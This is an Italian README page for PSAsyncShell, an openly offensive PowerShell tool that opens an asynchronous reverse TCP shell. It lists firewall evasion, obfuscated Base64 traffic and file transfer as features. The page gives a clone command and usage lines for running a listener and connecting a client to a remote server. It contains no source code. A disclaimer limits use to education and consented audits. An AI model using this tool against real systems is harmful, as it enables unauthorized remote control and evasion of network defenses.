joelgmsec/psasyncshellShell inversa TCP asincrona in PowerShell puro che bypassa i firewall tramite I/O non bloccante, con cronologia dei comandi, caricamento/scaricamento di file e traffico Base64 offuscato.
PSAsyncShell è una Reverse Shell TCP Asincrona scritta in puro PowerShell.
A differenza di altre reverse shell, tutto il flusso di comunicazione ed esecuzione è asincrono, permettendo di bypassare alcuni firewall e alcune contromisure contro questo tipo di connessioni remote.
Inoltre, questo strumento offre cronologia dei comandi, pulizia dello schermo, caricamento e download di file, suddivisione delle informazioni in blocchi e traffico reverse codificato in URL Base64 e offuscato.
Si consiglia di clonare l'intero repository o scaricare il file zip. Puoi farlo eseguendo il seguente comando:
git clone https://github.com/JoelGMSec/PSAsyncShell
.\PSAsyncShell.ps1 -h
____ ____ _ ____ _ _ _
| _ \/ ___| / \ ___ _ _ _ __ ___/ ___|| |__ ___| | |
| |_) \___ \ / _ \ / __| | | | '_ \ / __\___ \| '_ \ / _ \ | |
| __/ ___) / ___ \\__ \ |_| | | | | (__ ___) | | | | __/ | |
|_| |____/_/ \_\___/\__, |_| |_|\___|____/|_| |_|\___|_|_|
|___/
---------------------- by @JoelGMSec -----------------------
Info: This tool helps you to get a remote shell
over asynchronous TCP to bypass firewalls
Usage: .\PSAsyncShell.ps1 -s -p listen_port
Listen for a new connection from the client
.\PSAsyncShell.ps1 -c server_ip server_port
Connect the client to a PSAsyncShell server
Warning: All data will be sent unencrypted
Upload function doesn't use MultiPart
Questo progetto è concesso in licenza sotto la licenza GNU 3.0 - consulta il file LICENSE per maggiori dettagli.
Questo strumento è stato creato e progettato da zero da Joel Gámez Molina // @JoelGMSec
Questo software non offre alcuna garanzia. Il suo uso è esclusivo per ambienti educativi e/o audit di sicurezza con il corrispondente consenso del cliente. Non sono responsabile per un uso improprio o per eventuali danni causati da esso.
Per maggiori informazioni, puoi trovarmi su Twitter come @JoelGMSec e sul mio blog darkbyte.net.
Puoi supportare il mio lavoro offrendomi un caffè:
